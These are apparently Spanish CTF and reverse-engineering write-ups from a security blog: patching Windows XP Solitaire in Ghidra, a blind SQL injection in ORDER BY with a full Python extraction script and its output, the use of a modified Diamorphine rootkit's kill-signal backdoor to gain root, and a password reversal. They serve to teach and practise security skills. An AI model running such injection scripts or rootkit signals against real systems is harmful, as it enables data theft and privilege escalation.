Challenge on

Ingeniería Inversa del Solitario (Windows XP): Forzando victorias y manipulando la visibilidad del tablero con Ghidra

admin@synacklabs.github.io (SynAckLabs) — Wed, 11 Mar 2026 00:00:00 +0000

1. Introducción

En esta entrada voy a explicar el proceso de análisis de dos aspectos del Solitario de Windows mediante ingeniería inversa con Ghidra. El objetivo es documentar cómo identificar y alterar comportamientos específicos del juego directamente desde el binario.

El write-up se divide en dos objetivos principales:

Localización de funciones ocultas: Identificar y activar el comando "Force a win", una funcionalidad no documentada que permite forzar la victoria. Veremos cómo rastrear este comando desde los strings del programa hasta su implementación en el código.
Modificación de la lógica de renderizado: Analizar cómo el programa gestiona la visibilidad de las cartas en el tablero. El reto aquí es modificar la lógica que controla las columnas para que todas las cartas se muestren boca arriba, eliminando la restricción que solo permite ver la última carta de cada pila.

2. Parte I: Activando el comando oculto “Force a win”

2.1. Análisis de strings: Primer contacto con la lista de cadenas definidas.

Lo primero que hice al abrir el binario en Ghidra fue ir a lo seguro. Como no sabía por dónde empezar a buscar funciones ocultas, decidí echar un vistazo a los strings del programa. Me fui al menú Window y seleccioné Defined Strings. Mi idea era ver si los desarrolladores habían dejado algún mensaje de debug o algún nombre interesante que me diera una pista de qué hace el juego por detrás.

Al abrir la lista de strings, me puse a investigar un poco. La mayoría parecían nombres de funciones estándar de Windows, pero de repente vi algo que me llamó la atención: “Force a win”.

2.2. Identificación del recurso: ID 1010.

La presencia de esta cadena sugiere la existencia de una funcionalidad no documentada que fuerza la victoria. Al hacer doble clic sobre ella, Ghidra me llevó a su ubicación en la sección de recursos. Allí se observa que pertenece a una tabla de strings con identificadores numéricos. Concretamente, “Force a win” tiene asignado el ID 1010 (Rsrc String ID 1010).

2.3. Conversión de bases: Localizando el valor hexadecimal 0x03F2.

Antes de seguir buscando en el código, me detuve un momento. Como Ghidra y el lenguaje ensamblador suelen trabajar con valores hexadecimales, necesitaba saber cómo se escribe 1010 en hex. Convertimos el ID a hexadecimal (0x3F2). Ya tengo el valor que debo buscar en las instrucciones del programa: 0x3f2.

2.4. Rastreo en el desensamblado: Localización del manejador de comandos

Con el valor 0x3F2 como objetivo, realicé una búsqueda en el código desensamblado. En la dirección 010019d2 aparecía la instrucción CMP EAX, 0x3f2, justo antes de un salto condicional JZ hacia la etiqueta LAB_01001a35. Esta comparación es típica de un manejador de comandos: el programa evalúa si el parámetro recibido coincide con el ID 1010 y, en caso afirmativo, desvía el flujo hacia la rutina correspondiente.

2.5. Análisis del flujo de victoria y el “gatillo” del Deal

Seguí el salto hasta la etiqueta LAB_01001a35 para ver qué pasaba allí. Me encontré con un bloque de código que hace un XOR ESI, ESI (una forma rápida de poner a cero un registro) y luego hace varios PUSH, incluyendo el valor 0x12. Aunque todavía me cuesta entender exactamente qué hace cada instrucción de la pila, este parece ser el camino que toma el juego para saltar directamente a la pantalla de victoria.

Investigando el código cercano para entender qué más podíamos controlar, identifiqué el valor 1000 (en hex 0x3E8). Este ID es el “gatillo” que se activa cuando el usuario pulsa “Deal” (Repartir). En condiciones normales, este evento llama a una función que yo mismo renombré como RESET_TIME, encargada de limpiar el tablero para una partida nueva. También vi menciones a 0x3e9 y 0x3ea. Estos IDs corresponden probablemente a otras funciones internas, como reiniciar el tiempo o activar modos de depuración.

2.6. Secuestro de flujo: Convirtiendo el reinicio en victoria

Con el conocimiento de que el ID 1000 dispara la función de repartir (RESET_TIME), decidí realizar un secuestro de flujo (hijacking) utilizando la herramienta Patch Instruction de Ghidra. El objetivo era simple: redirigir una acción legítima del usuario hacia la función de victoria que acababa de descubrir.

El proceso técnico consistió en lo siguiente:

Identificación del salto: Localicé la instrucción de salto condicional que se ejecuta cuando el programa detecta el ID 1000.
Redirección del destino: Modifiqué la dirección de memoria de ese salto para que, en lugar de apuntar a la rutina de reinicio, saltara directamente a la etiqueta LAB_01001a35 (el bloque que activa la animación de victoria).

Gracias a este parche, el comportamiento del binario cambia por completo: ahora, cada vez que se pulsa “Nueva partida”, el programa omite la lógica de inicio y ejecuta la rutina de victoria. Esto demuestra cómo, alterando un solo salto en el desensamblado, podemos forzar al software a ejecutar funciones fuera de su contexto original.

3. Parte II: Ingeniería de la visibilidad de las cartas

3.1. Descartando el motor gráfico: Limitaciones de Cards.dll y CDT_Draw.

Para entender cómo el juego muestra las cartas, empecé por lo más lógico: buscar qué librerías externas utiliza para dibujar. En la tabla de importaciones encontré Cards.dll y, dentro de ella, la función CDT_Draw. Mi razonamiento fue que, si encontraba dónde se llama a esta función, podría interceptar el momento en que se decide si una carta se dibuja boca arriba o boca abajo. Sin embargo, al profundizar en las llamadas, me di cuenta de que cdtDraw solo recibe parámetros y dibuja; la lógica que decide si una carta va boca arriba o boca abajo está en otro lado. Necesitaba encontrar el código que toma esas decisiones.

3.2. La técnica de la constante conocida: Buscando el “7” en la lógica de columnas.

Decidí cambiar de enfoque: en lugar de seguir el rastro de las funciones gráficas, me centré en la lógica del tablero. El solitario clásico tiene 7 columnas en la zona de juego, así que el programa seguramente itera sobre esas columnas. Si hay un bucle que recorre las columnas, debe haber una comparación con el número 7. Busqué en todo el código desensamblado la instrucción CMP con el valor 0x7 y encontré varios candidatos.

¡Bingo! Entre los resultados, encontré una sección de código donde se comparaba el registro EAX con 0x7. Esta comparación (CMP EAX, 7) no parecía ser un valor aleatorio; estaba justo antes de un salto condicional que controlaba un bucle importante. Sabía que estaba en el lugar correcto: esta es la función que gestiona el barrido de las 7 columnas del tablero.

3.3. Anatomía del bucle de renderizado: Cómo el juego barre el tablero.

Al analizar la función que barre las 7 columnas, identifiqué un bucle interno encargado de procesar las cartas de cada pila. La lógica es interesante: el programa recupera el número total de cartas en la columna y utiliza un contador para iterar sobre ellas.

La clave de la visibilidad reside en una comparación crítica: el juego contrasta el índice de la carta actual con el índice de la última carta de la pila.

La condición: Si el índice es igual al total (la carta de la cima), el flujo continúa hacia la rutina de visibilidad.
El salto condicional: En ensamblador, esto es un CMP seguido de un JNZ (Jump if Not Zero). Si la carta no es la última, el JNZ hace que el programa “salte” por encima del CALL que marca la carta como visible.

Al neutralizar este JNZ, obligo al programa a ejecutar el CALL que da visibilidad para todas las cartas, sin importar su posición.

4. El Parche Final: Neutralización del salto: Uso de NOPs para revelar todo el tablero.

El parche consiste en sustituir los bytes del JNZ por dos instrucciones NOP (No Operation). Al hacer esto, el flujo de ejecución se vuelve lineal: el “portero” que impedía mostrar las cartas inferiores desaparece, y el motor gráfico recibe la instrucción de renderizar la cara de cada carta de la columna. El resultado es un tablero completamente destapado desde el inicio de la partida.

Conclusión

Hemos recorrido dos caminos diferentes dentro del ejecutable del Solitario: primero localizamos y activamos un comando oculto que fuerza la victoria, y después modificamos la lógica de dibujado para hacer visibles todas las cartas. A lo largo del proceso hemos puesto en práctica varias técnicas fundamentales de ingeniería inversa.

Estas técnicas nos han permitido descubrir mecanismos internos del juego que no están visibles en la interfaz normal, demostrando cómo el análisis directo del binario puede revelar funcionalidades ocultas y ofrecer un control completo sobre el comportamiento de la aplicación.

emoji voting (Easy)

admin@synacklabs.github.io (SynAckLabs) — Sun, 18 Jan 2026 00:00:00 +0000

Resumen

Este endpoint (/api/list) permite controlar el parámetro order que se inserta en un ORDER BY, lo que abre la puerta a una SQL Injection ciega (boolean-based). A partir de respuestas True/False, se puede extraer información carácter a carácter (primero el nombre de la tabla y luego el contenido de la columna flag).

Código vulnerable (punto de entrada)

En el backend se construye una query concatenando order:

async getEmojis(order) {
 // TOOD: add parametrization
 return new Promise(async (resolve, reject) => {
 try {
 let query = `SELECT * FROM emojis ORDER BY ${ order }`;
 resolve(await this.db.all(query));
 } catch(e) {
 reject(e);
 }
 });
 }

Y el endpoint recibe order desde el body:

router.post('/api/list', (req, res) => {
 let { order } = req.body;

 if (order) {
 return db.getEmojis(order)
 .then(data => {
 if (data) {
 return res.json(data);
 }

 return res.send(response('Seems like there are no emojis'));
 })
 .catch((e) => {
 return res.send(response('Something went wrong'));
 })
 }

 return res.send(response('Missing parameters'))
});

Confirmación: control del `order`

Podemos controlar el parámetro order.

SQLi boolean-based en `ORDER BY`

La idea es forzar dos comportamientos distintos (True vs False) cambiando el criterio de ordenación mediante un CASE WHEN.

"order":"(CASE WHEN (1=1) THEN id ELSE count END) ASC" # true

"order":"(CASE WHEN (1=0) THEN id ELSE count END) ASC" # false

Si la condición es True, la lista queda ordenada por id. Si es False, se ordena por count. Con esa diferencia podemos inferir bits de información.

Para extraer texto sin ver errores ni datos directamente, se puede consultar un carácter concreto con substr (o substring) y compararlo. En el script de ejemplo, se compara contra el valor en hex para manejar caracteres especiales.

import requests
import string

host, port = '94.237.51.160', 45916
HOST = f'{{http://{host}}}:{port}'

def req(payload):
 try:
 r =
requests.post
(f'{HOST}/api/list', data={'order': payload})
 return r.json()
 except Exception as e:
 print(f"Request failed: {e}")
 return []

i = 0
f = ''

print("Starting injection...")

while True:
 i += 1
 found_char = False

 for char in string.printable:
 if char == "'":
 continue

 # Convert char to hex to handle special characters safely in SQLite
 char_hex = format(ord(char), 'x').upper()

 # Construct the query
 # We check if the hex of the substring equals our hex character
 query = f"SELECT hex(substr((SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0),{i}, 1)) = '{char_hex}'"

 # Injection payload for ORDER BY clause
 # If True, order by 'id' (id 1 comes first usually)
 # If False, order by 'count' (assuming a different order)
 payload = f'(CASE WHEN ({query}) THEN id ELSE count END) ASC'

 response = req(payload)

 # Check if we got a valid response and if the first item has id 1
 if response and response[0].get('id') == 1:
 f += char
 print(f"[+] Found character: {char} | Current String: {f}")
 found_char = True
 break

 # If we went through all characters and didn't find a match, the string has ended
 if not found_char:
 print(f"Extraction complete. Final string: {f}")
 break

Salida del script (ejemplo):

python exploit.py
Starting injection...
[+] Found character: f | Current String: f
[+] Found character: l | Current String: fl
[+] Found character: a | Current String: fla
[+] Found character: g | Current String: flag
[+] Found character: _ | Current String: flag_
[+] Found character: e | Current String: flag_e
[+] Found character: 7 | Current String: flag_e7
[+] Found character: 2 | Current String: flag_e72
[+] Found character: 6 | Current String: flag_e726
[+] Found character: 4 | Current String: flag_e7264
[+] Found character: b | Current String: flag_e7264b
[+] Found character: 5 | Current String: flag_e7264b5
[+] Found character: d | Current String: flag_e7264b5d
[+] Found character: 9 | Current String: flag_e7264b5d9
[+] Found character: 0 | Current String: flag_e7264b5d90
Extraction complete. Final string: flag_e7264b5d90

Enumeración de columnas en SQLite

En SQLite no existe DESCRIBE table como en MySQL. En su lugar, se puede consultar la columna sql de sqlite_master, que contiene el CREATE TABLE.

Cambiamos el query por:

query = f'''SELECT hex(substr((SELECT sql FROM sqlite_master WHERE tbl_name='\{flag_e7264b5d90\}'), \{i\}, 1)) = '\{char_hex\}' '''

Obtenemos una cadena como:

CREATE TABLE flag_e7264b5d90 (flag TEXT)

Lo que nos revela el nombre de la columna: flag.

Extracción del valor de la flag

Finalmente, apuntamos a la columna flag:

query = f'''SELECT hex(substr((SELECT flag FROM flag_e7264b5d90 ), \{i\}, 1)) = '\{char_hex\}' '''

Cyberpsychosis (Easy)

admin@synacklabs.github.io (SynAckLabs) — Thu, 15 Jan 2026 00:00:00 +0000

Contexto y objetivo

Cyberpsychosis es un challenge de reversing y análisis de rootkits que simula un escenario de respuesta a incidentes. Según el briefing, actores maliciosos han comprometido un sistema e implantado un rootkit personalizado. El objetivo es analizar el módulo, desactivarlo y recuperar la información oculta.

El challenge proporciona un archivo comprimido que contiene un módulo de kernel de Linux (LKM), tipo de malware utilizado para mantener persistencia con máximos privilegios y evasión de detección.

Reconocimiento inicial

Al descomprimir el archivo proporcionado, encontramos un fichero con extensión .ko: diamorphine.ko

Identificamos el tipo de archivo:

file diamorphine.ko

Se trata de un Kernel Object, es decir, un módulo de kernel cargable (LKM) para sistemas Linux. Estos módulos operan en ring 0 con privilegios absolutos sobre el sistema.

Una búsqueda inicial revela que Diamorphine es un rootkit LKM público y bien documentado, diseñado para:

Ocultar procesos del sistema
Elevar privilegios de usuarios arbitrarios
Ocultarse a sí mismo de herramientas de monitorización
Persistir en el kernel

Análisis estático

Carga en Ghidra

Cargamos el módulo diamorphine.ko en Ghidra para realizar ingeniería inversa del código. Como primer paso, inspeccionamos las strings presentes en el binario para identificar indicadores de comportamiento.

Las strings confirman la presencia de Diamorphine, mostrando referencias al proyecto original. Esto valida nuestra hipótesis inicial sobre la naturaleza del rootkit.

Documentación del comportamiento estándar

Consultamos el repositorio oficial del proyecto (https://github.com/m0nad/Diamorphine) para comprender el comportamiento esperado:

Según la documentación, el módulo responde a señales de Unix (kill) para activar funcionalidades:

Señal 31: Ocultar o mostrar un proceso específico
Señal 63: Alternar visibilidad del módulo en lsmod
Señal 64: Otorgar privilegios de root al proceso que envía la señal

El procedimiento estándar de desinstalación es:

kill -63 0 # Hacer visible el módulo
rmmod diamorphine # Eliminar el módulo (como root)

Análisis dinámico

Primer intento de desactivación

Nos conectamos al servicio remoto proporcionado:

nc <IP> <Puerto>

Aplicamos el procedimiento documentado para hacer visible el módulo y eliminarlo:

El sistema entra en kernel panic inmediatamente. Esto indica que el rootkit ha sido modificado intencionalmente y no sigue el comportamiento del Diamorphine original. La señal 63 no es la correcta en esta versión.

Identificación de la modificación

Retornamos al análisis estático. Navegamos a la función hacked_kill(), responsable de procesar las señales enviadas al módulo.

Observamos que la condición que controla la visibilidad del módulo compara contra un valor en hexadecimal. Convertimos el valor a decimal mediante clic derecho en Ghidra:

El número mágico modificado es 46, no 63 como en la versión original.

Solución: Desactivación del rootkit modificado

Con la señal correcta identificada, procedemos a desactivar el rootkit:

Hacer visible el módulo con la señal modificada:

kill -46 0

Obtener privilegios de root con la señal documentada:

kill -64 0

El rootkit ahora es visible y tenemos privilegios de root sin causar kernel panic.

Recuperación de la flag

Búsqueda en el sistema de archivos

Sabiendo que HackTheBox almacena sus flags típicamente en archivos .txt, realizamos una búsqueda recursiva en todo el sistema:

find / -name "*.txt" 2>/dev/null

La búsqueda revela la ubicación del archivo que contiene la información oculta.

Verificación final

Leemos el contenido de la flag:

cat /ruta/al/archivo.txt

Obtenemos la flag y completamos el challenge.

Conclusión

Este challenge ilustra varios conceptos críticos en análisis de malware y respuesta a incidentes:

Aprendizajes técnicos:

Los rootkits LKM operan en ring 0 y pueden interceptar syscalls arbitrarias
La función kill() puede ser hookeada para implementar backdoors mediante señales personalizadas
El análisis estático es imprescindible cuando la documentación pública no coincide con el comportamiento observado
Los rootkits modificados requieren ingeniería inversa completa, sin asumir comportamiento estándar

Técnicas aplicadas:

Análisis estático con Ghidra para identificar modificaciones en código conocido
Correlación entre comportamiento documentado y comportamiento real
Escalado de privilegios mediante funcionalidades maliciosas del rootkit

Implicaciones defensivas:

Los LKM son extremadamente difíciles de detectar una vez cargados
La verificación de integridad de módulos del kernel (module signing, Secure Boot) es crítica
Herramientas como LKRG (Linux Kernel Runtime Guard) pueden detectar hooks en syscalls
La respuesta a incidentes con rootkits requiere arranque desde medios externos confiables

Exalton

admin@synacklabs.github.io (SynAckLabs) — Thu, 15 Jan 2026 00:00:00 +0000

Contexto y objetivo

Exalton es un challenge de reversing que presenta un binario que solicita una contraseña. El objetivo es analizar la lógica de validación para recuperar la contraseña correcta mediante ingeniería inversa.

La protección consiste en una transformación aritmética aplicada a cada carácter de la entrada, cuyos resultados se comparan contra un array de valores precomputados.

Reconocimiento inicial

Tras descargar el binario, realizamos una identificación básica con file:

file exalton

Se trata de un ejecutable ELF de arquitectura x86-64. No presenta ofuscación aparente ni protecciones anti-debugging.

Análisis estático

Abrimos el binario en Ghidra para realizar el análisis estático. Comenzamos inspeccionando las strings del binario, pero no encontramos información relevante que revele directamente la contraseña.

Función main()

En la función main(), observamos la lógica principal del programa:

El programa solicita una entrada al usuario mediante scanf y posteriormente la pasa como argumento a una función llamada exalton(). El valor de retorno de esta función se compara contra un array de 36 valores enteros hardcodeados en el código.

Estos valores representan la transformación esperada de cada carácter de la contraseña correcta:

[1152, 1344, 1056, 1968, 1728, 816, 1648, 784, 1584, 816,
 1728, 1520, 1840, 1664, 784, 1632, 1856, 1520, 1728, 816,
 1632, 1856, 1520, 784, 1760, 1840, 1824, 816, 1584, 1856,
 784, 1776, 1760, 528, 528, 2000]

Función exalton()

Analizamos la función exalton() para comprender la transformación aplicada:

La función realiza las siguientes operaciones sobre cada carácter de la entrada:

Recorre la cadena carácter por carácter mediante un bucle
Convierte cada carácter a su valor ASCII (implícito en C al tratar char como entero)
Aplica un desplazamiento de bits a la izquierda de 4 posiciones (<< 4)

La operación x << 4 equivale a multiplicar por 2⁴ = 16. Por tanto, la transformación es:

valor_transformado = ASCII(carácter) × 16

Solución: Reversión de la transformación

Para recuperar la contraseña original, debemos aplicar la operación inversa a cada valor del array. Si la transformación fue x << 4, la inversa es x >> 4 (desplazamiento a la derecha).

Implementamos un script en Python que:

Toma cada valor del array
Aplica >> 4 para revertir la multiplicación por 16
Convierte el resultado a su carácter ASCII correspondiente

def transform_inversa(numbers):
 result = ""
 for n in numbers:
 ascii_val = n >> 4 # Revertir el desplazamiento
 result += chr(ascii_val)
 return result

password = [1152, 1344, 1056, 1968, 1728, 816, 1648, 784, 1584, 816,
 1728, 1520, 1840, 1664, 784, 1632, 1856, 1520, 1728, 816,
 1632, 1856, 1520, 784, 1760, 1840, 1824, 816, 1584, 1856,
 784, 1776, 1760, 528, 528, 2000]

print(transform_inversa(password))

Resultado y verificación

Al ejecutar el script, obtenemos la contraseña correcta. Verificamos ejecutando el binario con la contraseña recuperada:

El programa acepta la entrada y nos revela la flag.

Conclusión

Este challenge ilustra una técnica común en reversing: transformaciones aritméticas simples aplicadas a la entrada del usuario. Aunque el operador de desplazamiento de bits puede parecer complejo a simple vista, su equivalencia con operaciones aritméticas lo hace reversible de forma trivial.

Aprendizajes técnicos:

Los operadores bit a bit (<<, >>) son frecuentemente usados en validaciones de contraseña
La operación << 4 es equivalente a × 16 y >> 4 a ÷ 16
Ghidra facilita la identificación de patrones de transformación mediante la descompilación

Implicación defensiva: Este tipo de validación ofrece protección nula contra análisis estático, ya que los valores esperados están expuestos directamente en el binario. Una implementación más robusta requeriría hashing criptográfico o validación remota.

Challenge on

Ingeniería Inversa del Solitario (Windows XP): Forzando victorias y manipulando la visibilidad del tablero con Ghidra

1. Introducción

2. Parte I: Activando el comando oculto “Force a win”

2.1. Análisis de strings: Primer contacto con la lista de cadenas definidas.

2.2. Identificación del recurso: ID 1010.

2.3. Conversión de bases: Localizando el valor hexadecimal 0x03F2.

2.4. Rastreo en el desensamblado: Localización del manejador de comandos

2.5. Análisis del flujo de victoria y el “gatillo” del Deal

3. Parte II: Ingeniería de la visibilidad de las cartas

3.1. Descartando el motor gráfico: Limitaciones de Cards.dll y CDT_Draw.

3.2. La técnica de la constante conocida: Buscando el “7” en la lógica de columnas.

3.3. Anatomía del bucle de renderizado: Cómo el juego barre el tablero.

4. El Parche Final: Neutralización del salto: Uso de NOPs para revelar todo el tablero.

Conclusión

emoji voting (Easy)

Resumen

Código vulnerable (punto de entrada)

Confirmación: control del order

SQLi boolean-based en ORDER BY

Extracción carácter a carácter (blind)

Enumeración de columnas en SQLite

Extracción del valor de la flag

Cyberpsychosis (Easy)

Contexto y objetivo

Reconocimiento inicial

Análisis estático

Carga en Ghidra

Documentación del comportamiento estándar

Análisis dinámico

Primer intento de desactivación

Identificación de la modificación

Solución: Desactivación del rootkit modificado

Recuperación de la flag

Búsqueda en el sistema de archivos

Verificación final

Conclusión

Exalton

Contexto y objetivo

Reconocimiento inicial

Análisis estático

Función main()

Función exalton()

Solución: Reversión de la transformación

Resultado y verificación

Conclusión

Confirmación: control del `order`

SQLi boolean-based en `ORDER BY`